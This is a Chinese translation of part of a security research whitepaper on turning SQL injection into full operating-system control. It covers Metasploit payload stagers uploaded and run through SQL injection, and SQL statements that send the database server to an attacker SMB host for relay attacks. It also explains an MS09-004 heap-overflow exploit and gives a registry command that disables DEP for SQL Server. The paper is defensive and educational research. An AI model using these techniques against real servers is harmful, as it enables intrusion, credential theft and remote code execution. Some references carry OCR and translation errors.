在这一章中，我将探讨如何通过利用web应用程序中的SQL注入漏洞，**在攻击者主机与数据库服务器之间建立带外连接。**一旦攻击成功，在两个端点之间就会建立起一个命令提示符或图形用户界面的全双工TCP连接。

在实际操作中，通过将Metasploit框架[76]集成到sqlmap[4]中是可以实现这一点的，并且这需要具备后端DBMS的底层文件系统访问权限以及带内命令执行权限，这两项内容前文均已做过解释。

来自Metasploit项目网站的介绍：

"Metasploit框架是一个用于创建安全工具和漏洞利用程序的开发平台。[...]该框架由工具、库、模块和用户界面组成。框架的基本功能是作为一个模块启动器，允许用户配置一个漏洞利用模块并将其在目标系统上启动。如果漏洞利用成功，payload就会在目标系统上执行，并且会为用户提供一个与有效载荷进行交互的shell。"

9 独立 payload stager

攻击者与数据库服务器之间的带外连接可以通过伪造一个独立payload[19] stager[20] 来实现，这要基于用户使用Metasploit的**msfpayload**工具所做的选项设置。然后，有必要使用Metasploit的**msfencode**工具对其进行编码[21]，以绕过杀毒软件，再通过SQL注入将其上传到文件系统的临时文件夹并执行它。

根据用户的选项设置，该stager将在数据库服务器的一个TCP端口上进行绑定并监听，等待传入的连接，或者它会反向连接回攻击者主机上的一个TCP端口。无论是绑定连接还是反向连接，在数据库服务器上执行payload stager之前，都必须在攻击者主机上执行Metasploit的**msfcli**r[22] 工具：在攻击者端还会使用Metasploit的multi-handler exploit[23]，即**exploits/multi/handler.rb**[78]。

---

[19] payload是指在成功进行漏洞利用尝试后或在stager执行之后，在目标系统上执行的任意代码（shellcode）。Payloads可以是命令字符串，也可以是原始令。它们通常会在Metasploit与目标主机之间建立一个通信通道。

[20] stager payload是一种payload的实现方式，它与攻击者建立某种通信通道，以便读取或以其他方式获取要执行的第二阶段stager payload。例如，一个stager 可能会通过定义好的端口反向连接到攻击者，并读取要执行的代码。

[21] 编码器encoder用于生成原始payload的变形版本，使其在执行时能够恢复到原始形式，然后得以执行。

[22] msfcli是Metasploit命令行界面。该界面将Metasploit模块名称作为第一个参数，后面跟着以VAR=VAL格式表示的选项，最后是一个动作代码，用于指定应执行的操作。

9.1 Payload stager 选项

Metasploit针对多种操作系统和架构提供了众多有效载荷。 sqlmap会要求攻击者提供以下信息：

- 连接类型，可以是绑定连接或反向连接：
  - 如果是绑定连接，且后端DBMS服务器地址与web服务器地址不同，则需提供后端DBMS服务器地址。
- 如果是反向连接，需提供攻击者主机上要监听的TCP端口；如果是绑定连接，则需提供数据库服务器上要监听的TCP端口；
- 要使用的多级payload，可在以下几种中选择：

    - 如果后端DBMS底层操作系统是Windows或Linux，则可选择shell[24]；
    - 如果后端DBMS底层操作系统是Windows[21]，则可选择meterpreter[25]；
    - 如果后端DBMS底层操作系统是某种情况，则可选择vnc[26]。
- 对payload进行编码的算法：在撰写本文时，Metasploit支持十二种不同的编码器。

根据用户的选项，sqlmap会创建payload stager，对其进行编码，并使用UPX[17]进行压缩：一个原本9728字节的可执行有效载荷会被压缩到2560字节，这样通过SQL注入上传时速度就会更快。

Metasploit框架3生成的payload可执行文件会自动处理并绕过操作系统的内存保护机制：

- 针对Linux的ELF payload stager，其shellcode位于已被标记为可执行的内存区域，因此无需绕过内存保护；
- 在Windows系统中，如第11.2节所述的数据执行保护机制可通过以下方式绕过：在将shellcode复制到内存页并执行之前，先将该内存页分配为可读、可写且可执行状态。这在Metasploit用于生成可移植可执行payload stager的模板文件中有相关定义。

---

[23] **multi/handler** exploit是一个存根，它为在Metasploit框架之外启动的漏洞利用程序或独立payload stagers提供Metasploit payload系统的所有功能。
[24] shell payload会生成一个管道式命令行shell，在Linux系统中通常是bash，而在Windows系统中则是命令提示符cmd。
[25] Meterpreter是一种高级多功能payload，可在运行时动态扩展。通俗来讲，这意味着它为你提供一个基本的shell，并允许你根据需要为其添加新功能。
[26] VNC服务器payload允许攻击者在管理员已登录的情况下访问数据库服务器的桌面。

9.2 会话

在创建payload stager之后，如第10页所述，会通过批处理查询SQL注入技术将其上传到数据库服务器上的一个绝对文件系统路径下，该路径是运行后端DBMS进程的用户具有读写访问权限的地方：在Linux和UNIX系统中是**/tmp**，在Windows系统中是**C:\WINDOWS\Temp**。

将payload stager上传到Microsoft SQL Server需要六个HTTP请求，上传到MySQL需要九个HTTP请求，上传到PostgreSQL需要十二个HTTP请求。

在攻击者主机上会使用multi-handler exploit并依据创建payload stager时用户所提供的选项来执行Metasploit的**msfcli**工具：这需要一些时间，因为msfcli工具要将所有Metasploit模块加载到内存中。

然通过MySQL和PostgreSQL中的**sys_exec()**函数或者Microsoft SQL Server中的**xp_cmdshell()**函数在数据库服务器上执行payload stager，并建立起全双工带外连接。

连接的控制权会转交给multi-handler exploit，该程序会根据所选的payload，在初始化会话之前将中间stager和DLL（针对Meterpreter和VNC而言）发送到数据库服务器端点。

通过这条连接，攻击者可以与数据库服务器的底层操作系统进行交互，交互界面可以是终端、Meterpreter控制台或者VNC图形用户界面。

需要注意的是payload stager是凭借运行后端DBMS服务器进程的用户的权限在数据库服务器上执行的。然而，在Windows系统的某些情况下，如第32页所述，有可能将权限提升到SYSTEM级别。

10 SMB 中继攻击

SMB认证中继攻击是由Dominique Brezinski在1996年进行研究的，并在他于1997年美国黑帽大会上提交的题为《CIFS认证中的一个弱点》的论文中做了阐述。

首个实现这种攻击的公开工具SMBRelay2[18]，是由Josh Buchbinder于2001年3月31日在亚特兰大会议期间发布的。

这种漏洞使得攻击者能够将传入的SMB连接重新定向回其来源机器，然后利用受害者自己的凭证访问受害机器，这种攻击也被称为SMB凭证反射。

H D Moore在Metasploit博客[15]上很好地解释了该漏洞利用的工作原理：

“Metasploit模块会接管已建立且经过身份验证的SMB会话，断开客户端连接，然后以类似于psexec.exe运行的方式使用该会话来上传并执行shellcode。首先，会创建一个类似有效Windows服务的Windows可执行文件，并执行指定的Metasploit payload。随后，该payload会被上传到受害者的ADMIN$共享文件夹的根目录下。一旦payload上传完毕，就会通过DCERPC（利用SMB上的命名管道）访问服务控制管理器，并用它来创建一个新服务（指向已上传的可执行文件），然后启动该服务。这个服务会创建一个新的挂起进程，将shellcode注入其中，恢复该进程运行，然后自行关闭。之后，该模块会删除所创建的服务。至此，攻击者便在受害者的机器上拥有了一个远程shell（或其他payload会话）。”

这种攻击在互联网上成功实施的可能性不大，因为通常防火墙会对SMB特定端口：139/TCP和445/TCP上的传入连接进行过滤，但在局域网内通常不会这样做。要使SMB反射攻击成功，还需要满足其他一些条件，即受害者的用户必须拥有管理权限，而且系统必须配置为允许远程网络登录。

2008年11月11日，也就是该漏洞被公开披露12年后，微软发布了安全公告MS08-068[24]（CVE-2008-4037）。这份公告包含了一个补丁，该补丁可防止将质询密钥中继回发出它们的同一主机：如果一台Windows服务器安装了这个补丁，那么对这一漏洞的利用就无法奏效。

10.1 通用命名约定

通用命名约定（UNC）规定了一种通用语法，用于描述网络资源，如共享文件、目录或打印机的位置。

Windows系统的UNC路径示例如下：

```
\\AttackerAddress\ExamplePath\Filename.txt
```

这种语法允许Windows客户端通过SMB访问位于**AttackerAddress**上的**\ExamplePath\Filename.txt**。 如果AttackerAddress拒绝匿名用户（空会话）访问，客户端会自动使用已登录用户的用户名、域名以及用服务器提供的质询密钥加密后的哈希密码进行身份验证。

10.2 滥用 UNC 路径请求

如果底层操作系统是Windows，UNC路径请求语法可被滥用以通过SQL注入实施SMB中继攻击。

通过在攻击者主机上执行Metasploit的SMB中继漏洞利用程序，**exploits/windows/smb/smb_relay.rb[77]**，并迫使数据库服务器访问攻击者伪造的SMB服务，就有可能通过实施SMB反射攻击来利用该设计缺陷。

同样利用这个漏洞利用程序，攻击者有多种选项可用来伪造payload，但在这种情况下，在成功利用SMB设计缺陷后，有效载荷将直接从SMB中继漏洞利用程序发送出去。

10.2.1 MySQL

在MySQL中，可以通过批处理查询或联合查询SQL注入的方式，借助UNC路径请求来请求资源并发起SMB会话。SQL语句如下：

```
SELECT LOAD_FILE('\\\\AttackerAddress\\foobar.txt')
```

执行该操作的会话用户必须具有**FILE**权限。

然而这种攻击不太可能成功，因为在Windows系统上，默认情况下MySQL是以**Local System**身份运行的，这并非一个真实用户，在连接到SMB服务时它不会发送NTLM会话哈希值。

如果MySQL数据库是以Administrator身份启动的，那么这种攻击就有可能成功。

10.2.2 PostgreSQL

通过批处理查询SQL注入对攻击者主机执行反向UNC路径请求的SQL语句如下：

```
CREATE TABLE footable(foocolumn text); COPY footable (foocolumn) FROM
'\\\\AttackerAddress\\foobar.txt'
```

> 执行该操作的会话用户必须是 “超级用户”。
>
> 然而这种攻击不太可能成功，因为在Windows系统上，默认情况下PostgreSQL是以**postgres**用户身份运行的，该用户虽是系统的真实用户，但并不在Administrators组内。

10.2.3 Microsoft SQL Server

通过批处理查询SQL注入对攻击者主机执行反向UNC路径请求的一种可能的SQL语句如下：

```
EXEC master..xp_dirtree '\\AttackerAddress\\foobar.txt'
```

执行该操作的会话用户需要对扩展存储过程拥有**EXECUTE**权限，默认情况下所有数据库用户都拥有该权限。

默认情况下，Microsoft SQL Server 2000是以Administrator身份运行的，因此这种攻击应该会成功；而对于Microsoft SQL Server 2005和2008，这种攻击不太可能成功，因为它们通常是以**Network Service**身份运行的，这并非一个真实用户，在连接到SMB服务时它不会发送NTLM会话哈希值。

11 存储过程缓冲区溢出

2008年12月4日，来自SEC Consult漏洞实验室的Bernhard Mueller发布了一份公告，题为《Microsoft SQL Server的sp_replwritetovarbin有限内存覆盖漏洞》[6]。

这是一个基于堆的缓冲区溢出漏洞，存在于Microsoft SQL Server 2000 Service Pack 4及更早的补丁版本，以及Microsoft SQL Server 2005 Service Pack 2及更早的补丁版本中。成功利用这一安全漏洞，经过身份验证的数据库用户能够造成拒绝服务（访问冲突异常）情况，或者在底层操作系统上执行任意代码。

通过调用存在漏洞的Microsoft SQL Server存储过程**sp_replwritetovarbin**，并使用一组无效参数来触发对攻击者可控制位置的内存覆盖状况，就有可能利用该漏洞。

在撰写本文时，除了Guido Landi发布的一个概念验证程序[14]，该程序专门针对在Windows 2000 Service Pack 4上运行的Microsoft SQL Server 2000利用此漏洞外，尚无针对此漏洞的公开利用程序。

在两个不同的商业利用框架上有两种商业利用程序：在Immunity Canvas[16]上，该利用程序是一次性的，而且似乎是为仅通过与数据库服务器的直接连接来工作而编写的；另一个是在Core Impact[10]上。 关于这个基于堆的缓冲区溢出漏洞，

一件有趣的事情是，也可以通过SQL注入来触发该漏洞，而且会话用户不需要在DBMS上拥有任何管理访问权限：他只需要对扩展存储过程拥有**EXECUTE**权限，而默认情况下所有数据库用户都拥有该权限。

2009年2月10日，微软发布了安全公告MS09-004[25]（CVE-2008-5416）。这份公告解决了这一安全缺陷：如果一台Windows服务器安装了这个补丁，那么对该问题的利用就无法奏效。

11.1 漏洞利用

Guido Landi决定随着这篇白皮书的发布，为此漏洞推出一个可靠的独立利用程序。我为该利用程序添加了对Metasploit的**msfpayload**生成的多级有效载荷的支持，并将其集成到了sqlmap[4]中，以便也能通过SQL注入来利用该漏洞。

Guido对他的利用程序解释如下。

如果攻击者的意图是利用管理堆内存的系统例程，那么通过基于堆的缓冲区溢出漏洞来实现任意代码执行可能会相当困难。然而，在本次利用中，我们将利用缓冲区溢出来覆盖一个函数指针，从而实现任意代码执行。

当使用一组无效参数调用存在漏洞的存储过程时，处理器会抛出第一个异常：

```
MOV DWORD PTR DS:[EAX+4],EDI
```

EAX和**EDI**这两个寄存器均由攻击者控制：前者直接来自我们的缓冲区，后者与缓冲区长度相关。即便这几乎是一种任意的内存覆盖操作，但要利用它来实现代码执行可能颇具难度。实际上，此异常以及后续出现的其他异常，都会由Microsoft SQL Server进程通过已安装的Windows结构化异常处理（SEH）机制进行妥善处理。这使得我们可以简单地跳过一些异常，直至找到一个能让我们改变执行流程的异常。

在一系列异常发生之后，程序会执行到如下代码：

```
010B0F5A . 8B42 10 MOV EAX,DWORD PTR DS:[EDX+10]
010B0F5D FFD0 CALL EAX
```

由**EDX+0x10**所指向的内存将会被解引用，并将其值移动到**EAX**，然后调用**EAX**。由于**EDX**寄存器直接来自我们的缓冲区，所以我们能够将执行流程重定向到任意位置，实际上我们将利用这条指令来实现代码执行。

首先要解决的问题是我们希望**EDX**所存储的值：由于**ESI**和**ECX**寄存器指向我们到达该代码时所在的缓冲区，我们希望其中之一能被调用。为此，我们需要找到一个固定地址，该地址保存着另一个固定地址，而这个另一个固定地址指向一系列能将执行流程重定向到我们缓冲区的指令，一些有用的指令可能是：

```
"call ESI"
"call ECX"
"push ESI" and "RET"
"push ECX" and "RET"
```

第二个问题是，**ECX**和**EDI**寄存器都指向我们的缓冲区，而我们希望存在于**EDX**中的地址就在这个缓冲区里。我们必须确保这个地址能够被解释为一系列指令，且不会引发任何异常，否则进程将会崩溃，我们的shellcode也就无法执行。

第三个问题与该漏洞利用的可重复性有关，我们希望它是可多次触发的，这样就能允许攻击者多次发起攻击，而不会使Microsoft SQL Server进程崩溃。

找到合适的返回地址往往需要花费时间，并且需要在一些DLL中查找我们所需的指令：要么手动使用调试器进行查找，要么使用Metasploit的**msfpescan**[27] 工具进行查找。通常在程序自身包含的可执行模块中搜索返回地址是个不错的主意，但在这种情况下，由于存在不同版本的微软SQL服务器，你最好使用系统某个DLL中包含的地址。由于解引用**EDX**指针的**MOV**指令带来了间接寻址的层级问题，所以这并非易事。我们可以使用一个带有**msfpescan**的小脚本，该脚本首先搜索我们所需的指令，然后再搜索一个指向所找到指令的指针的地址：

---

[27] Metasploit的msfpescan可用于分析和反汇编可执行文件及DLLs，这有助于在漏洞利用和权限提升阶段找到正确的偏移量和地址。

```
for i in $(./msfpescan -j ESI,ECX shell32.dll | grep 0x | sed -e 's/0x//' | awk
'{print $1}' | perl -e 'while(<>) { chop; @a=($_ =~/.{2}/gm); print
"\\x",join("\\x",reverse(@a)), "\n"; }'); do ./msfpescan -r "$i" shell32.dll |
grep 0x ; done
```

这段代码会在**shell32.dll**中搜索用于“跳转”到我们缓冲区所需的指令，以及在**shell32.dll**中指向这些指令之一的指针。也可以指定不同的DLL。在针对Windows 2003 Service Pack 2所使用的返回地址时就是这么做的：指令位于**kernel32.dll**中，而我们在**ntdll.dll**中找到了指向它们的指针。

由于该地址还必须被解释并作为一组汇编指令来执行，所以我们必须检查这些指令在执行时是否不会导致程序崩溃。例如，第三个地址对我们来说是合适的，因为将其解释为指令后结果如下：

```
DCE1 FSUBR ST(1), ST
F8 CLC
7C 01 JL 0x1
```

这些指令将会被执行，并将引导我们执行我们的shellcode。

第二个问题，即重复性问题，是通过在我们的shellcode末尾添加一小段指令存根来解决的。这段指令存根会使用一些“**POP**”指令将栈恢复到原始状态，然后通过“**RET**”指令准确返回到我们改变执行流程的位置。后续的异常将由程序安装的SEH机制来处理，并且Microsoft SQL Server进程将继续正确运行。

11.2 内存保护

数据执行保护（DEP）是一种安全特性，它可防止在未标记为可执行的内存页面中执行代码。

来自微软帮助与支持网站[26]的内容如下：

*“系统的DEP配置是通过**boot.ini**文件中的开关来控制的。如果你以管理员身份登录，现在可以通过控制面板中的系统对话框轻松配置DEP设置。*

Windows对硬件强制和软件强制的DEP支持四种系统级配置。”

数据执行保护可能的设置如下：

- **OptIn**：默认情况下，只有Windows系统二进制文件受DEP保护；
- **OptOut**：默认情况下，所有进程都启用DEP，但允许有例外情况；
- **AlwaysOn**：所有进程始终在应用DEP的情况下运行，不允许有例外情况；
- **AlwaysOff**：系统的任何部分都不受DEP保护。

数据执行保护（DEP）在以下Windows服务包中存在：

- Windows XP Service Pack 2：默认值是**OptIn**；
- Windows Server 2003 Service Pack 1：默认值是**OptOut**[28]；

- Windows Vista Service Pack 0：默认值是**OptIn**；
- Windows 2008 Service Pack 0：默认值是“选择退出**OptOut**。

请注意，它在Windows 2000以及任何更早的Windows版本中不存在。

11.3 绕过DEP

多年来，已经开发并公开了多种绕过这一安全机制的方法。实际上，这些方法都是基于这样一种可能性，即至少能够控制栈上的一些指针，并在触发漏洞后串联至少两个函数调用。

第一，或第一个，函数调用用于为当前进程禁用DEP，或者使用**VirtualAlloc/VirtualProtect**将特定内存页面标记为可执行，又或者将shellcode复制到已标记为可执行的内存页面；第二个调用则用于将执行流程重定向到注入的shellcode。

所讨论的漏洞MS09-004是一个基于堆的缓冲区溢出漏洞，它不允许直接控制栈上的数据，因此似乎无法将多个调用串联在一起。即便我们可以利用一些执行路径，由于Microsoft SQL Server的栈极不稳定，这可能会导致几乎任意的覆盖从而创建虚假栈帧，但这种可能性似乎仅仅停留在理论层面。

如果DEP设置为**OptOut**或**AlwaysOn**，利用程序将会失败，因为当进程试图从shellcode所在的不可执行内存空间执行代码时，将会引发访问冲突异常。

当数据执行保护设置为**OptOut**时，通过SQL注入绕过它的一种可能方法是在Windows注册表中为Microsoft SQL Server可执行文件**sqlservr.exe**添加一个例外项，然后重新启动数据库进程并发起漏洞利用。

具体步骤如下：

- 创建一个**bat**文件，该文件执行Windows的**reg**可执行文件，以便在Windows注册表中为Microsoft SQL Server可执行文件**sqlservr.exe**添加一个例外项：

  ```
  REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
  NT\CurrentVersion\AppCompatFlags\Layers" /v "C:\Program Files\Microsoft SQL
  Server\MSSQL.1\MSSQL\Binn\sqlservr.exe" /t REG_SZ /d DisableNXShowUI /f
  ```

- 创建一个**bat**文件，该文件执行Windows的**sc**可执行文件以重新启动Microsoft SQL Server服务；
- 通过批处理查询：
  - 将**bat**文件上传到Windows临时文件目录；
  - 执行**bat**文件以在注册表中添加键名；
  - 执行另一个批处理文件以重新启动Microsoft SQL Server服务；
  - 等待几秒，让Microsoft SQL Server服务完成重启；
  - 触发该漏洞。

Part V 权限提升

Metasploit的Meterpreter带有一个内置扩展，为攻击者提供了对Windows访问令牌委托和模拟滥用的支持，即由Luke Jennings开发的**incognito**[19]。

除其他功能外，该扩展允许攻击者枚举与当前用户相关联的委托和模拟令牌，如果用户拥有特定令牌，还可以模拟该令牌：如果相应的令牌处理程序位于Meterpreter正在运行的进程的同一线程内，这将导致权限提升Administrator或Local System级别；**incognito**不支持对令牌句柄进行暴力破解。

另一种通过滥用Windows访问令牌委托和模拟机制来进行权限提升的方法是使用**Churrasco.exe**[8, 9]。

Churrasco.exe是由Cesar Cerrudo开发的一个独立的Windows命令行可执行程序，其目的是执行Windows访问令牌劫持[7]。该程序将待运行的可执行文件的名称作为参数：它会对调用它的当前进程（例如MySQL或Microsoft SQL Server）中的令牌句柄进行暴力破解，并使用暴力破解得到的SYSTEM令牌来运行所提供的命令，如果该进程的用户拥有令牌的话：这就是一种权限提升，因为所提供的命令将以高于数据库进程的权限运行。

Churrasco.exe可以上传到数据库服务器的文件系统中，并在带外连接攻击（Part IV）的情境下用于以SYSTEM权限执行Metasploit的payload stager。当数据库进程以Network Service身份运行时可以实现这一点：Microsoft SQL Server 2005和Microsoft SQL Server 2008通常以该用户身份运行，按照设计，该用户同时拥有委托和模拟令牌。

Part VI 结论

本文阐述了如何充分利用web应用程序中的单个漏洞，以实现对运行数据库的服务器的完全控制，而不仅仅是像通常所期望的那样获取存储在数据库中的数据：SQL注入本身可被视为达成本研究实际目标的垫脚石，该实际目标是对服务器的完全控制，包括操作系统访问、文件系统访问以及将受入侵的数据库服务器用作内部网络中的立足点。

本文所描述的所有技术都已在sqlmap[4]中实现。sqlmap是本文作者用Python开发的一款开源自动SQL注入工具，可从其SourceForge文件列表页面下载。

12 致谢

作者感谢Sheherazade Lana的善意帮助，感谢Guido Landi开发了Microsoft SQL Server缓冲区溢出漏洞利用程序，并在本文中详细描述了他的利用方法；感谢Alessandro Tanasi进行技术讨论并提供持续支持；感谢Alberto Revelli就如何在sqlmap中最佳集成Metasploit提供帮助；感谢Simone Assumpcao和Martin Callingham对本文进行同行评审；感谢黑帽团队提供机会，让作者能在2009年4月16日于阿姆斯特丹举行的黑帽欧洲2009简报会上展示这项研究成果。

参考文献

[1] Alessandro Tanasi: SQLi: Writing files to disk under PostgreSQL. December 21, 2008.
[2] Antonin Foller: Custom xp_cmdshell, using shell object.
[3] Bernar do Damele Assumpcao Guimaraes: Debug scripts from binaries. January 12, 2009.
[4] Bernar do Damele Assumpcao Guimaraes: sqlmap: automatic SQL injec tiontool.
[5] Bernar do Damele Assumpcao Guimaraes: sqlmap suboversion repository. .
[6] Bernhard Mueller: Microsoft SQL Server sp_replwritetovarbin limited memory overwrite ovulnerability.December 4, 2008.
[7] Cesar Cerrudo: Token Kidnapping
[8] Cesar Cerrudo: Windows 2003 proof of concept exploit for token hi dnapping.
[9] Cesar Cerrudo: Windows 2008 proof of concept exploit for token hi dnapping.
[10] Core Security Technologies: Microsoft SQL Server sp_replwritetovarbin RemoteHeap Overflow Exploit. February 2, 2008.
[11] David Litchfield and others: The Database Hacker's Handbook: sample codes.
[12] Dominique Brezinski: A Weakness in CIFS Authentication.
[13] GNU Project: GCC.
[14] Guido Landi: Microsoft SQL Server "sp_repluritovarbin()" Heap Overflow eaploit. December 17, 2008.
[15] H D Moore: MS08_068: Metasploit and SMB Relay. November 11, 2008.
[16] Immunity Security Inc: Immunity CANVAS Professional.
[17] John F.Reiser: Ultimate Packager for eXecutables. April 27, 2008.
[18] Josh Buchbinder: The SMB Man- in. the-Middle Attack. March 31, 2001.
[19] uke Jennings: Security Implications of Windows Access Tokens. April 14, 2008.
[20] Marco Ivaldi: Dymamic library for do_system() MySQL UDF. January 18, 2006.
[21] Matt Miller: Metasploit's Meterpreter. December 26, 2004.
[22] Microsoft: Debug.
[23] Microsoft: Microsoft Visual C++ 2008 Express Edi tion.
[24] Microft: Vulnerability in SMB Could Allow Remote Code Execution (KB957097). November 11, 2008.
[25] Microsoft: Vulnerability in Microsoft SQL Server Could Allow Remote Code Execution (KB959420). February 10, 2009.
[26] Microsoft Help and Support: A detailed description of the Data Execution Pre-vention (DEP) feature. Sept ember 26, 2006.
[27] Microsoft Help and Support: Converting Binary Data to Hexadecimal String. February 22, 2005.
[28] Microsoft Help and Support: The "Understanding Data Execution Preven tion" help topic incorrectly states the default setting for DEP in Windows Server 2003 Sernice Pack 1. October 6, 2006.
[29] Microsoft SQL Server 2000 Books Online: xp_cmdshell).
[30] Microsoft SQL Server 2005 Books Online: xp_cmdshell). November 2008.
[31] Microsoft SQL Server 2008 Books Online: xp_cmdshell). February 2009.
[32] Microsoft SQL Server 2008 Books Online: WAITFOR (Transact-SQL). Febru-ary 2009.
[33] Microsoft SQL Server 2008 Books Online: BULK INSERT (Transact-SQL). February 2009.
[34] Microsoft SQL Server 2008 Books Online: xp_ cmdshell (Transact SQL). Febru-ary 2009.
[35] MySQL 4.1 Reference Manual: Changes in MySQL 4. 1.25. December 1, 2008.
[36] MySQL 5.0 Reference Manual: Changes in MySQL 5.0. 12. September 2, 2005.
[37] MySQL 5.0 Reference Manual: CREATE FUNCTION Syntax.
[38] MySQL 5.0 Reference Manual: Release Notes for MySQL Cormmunity Server 5.0.67. August 4, 2008.

[39] MySQL 5.1 Reference Manual: Changes in MySQL 5.1.19. May 25, 2007.
[40] MySQL 5.1 Reference Manual: Server System Variables - plugin_ dir.
[41] MySQL 5.1 Reference Manual: Adding a New User- Defined Func tion.
[42] MySQL 5.1 Reference Manual: Mis cllaneous Functions: SLEEP().
[43] MySQL 5.1 Reference Manual: Information Functions: BENCHMARK().
[44] MySQL 5.1 Reference Manual: LOAD_ FILE() String Function.
[45] MySQL 5.1 Reference Manual: Privileges Provided by MySQL.
[46] MySQL 5.1 Reference Manual: LOAD DATA INFILE Syntax.
[47] MySQL 5.1 Reference Manual: String Functions.
[48] MySQL 5.1 Reference Manual: SELECT Syntax.
[49] MySQL 5.1 Reference Manual: INSERT Symtax.
[50] MySQL 5.1 Reference Manual: UPDATE Syntax.
[51] MySQL 5.1 Reference Manual: CREATE FUNCTION Sym tas. .
[52] MySQL 6.0 Reference Manual: CREATE FUNCTION Syntax.
[53] MySQL Conector/Net 5.2.
[54] MySQL Conector/OBDC 5.1.
[55] Nico Leidecker: Having Fun With PostgreSQL. June 5, 2007.
[56] Nico Leidecker: pgshell.
[57] Open Web Application Security Project: Guide to SQL Injection. August 2008.
[58] Open Web Application Security Project: OWASP Top Ten - Injection Flaws. July 2007.
[59] Open Web Application Security Project: Testing PostgreSQL.
[60] Post greSQL 8.3 Manual: Release Notes for Pos tgreSQL 8.2. December 5, 2005.
[61] Post greSQL 8.3 Manual: Date/ Time Functions and Operators: Delaging Exe-cution.
[62] Post greSQL 8.3 Manual: Set Returning Functions.
[63] Post greSQL 8.3 Manual: COPY.
[64] Post greSQL 8.3 Manual: String Functions and Operators.
[65] Post greSQL 8.3 Manual: Large Otijects.
[66] Post greSQL 8.3 Manual: Large Otjects Server- Side Func tions.
[67] Post greSQL 8.3 Manual: pg_ largeobject.
[68] Post greSQL 8.3 Manual: CREATE.
[69] Post greSQL 8.3 Manual: INSERT.
[70] Post greSQL 8.3 Manual: UPDATE.
[71] Post greSQL 8.3 Manual: Procedural Languages.
[72] Post greSQL 8.3 Manual: C-Language Functi ons.
[73] Post greSQL Npgsql .Net Data Provider.
[74] rain .forest .puppy: NT Web Technology Vulnerabili ties. Phrack Magazine Volume 8, Issue 54. December 25, 1998.
[75] Roland Bouman: Creating MySQL UDFs with Microsoft Visual C+ + Express. September 24, 2007.
[76] The Metasploit Project: Metasploit Framework: 3.
[7] The Met asploit Project: Microsoft Windows SMB Relay Code Erecution exploit.
[78] The Met asploit Project: Multi. handler exploit.
[79] UDF Repository for MySQL: lib_ mysqluaf_ sys shared library. January 25, 2009.
[80] Wikipedia on Dynamic-link library.
[81] Wikipedia on Shared Object.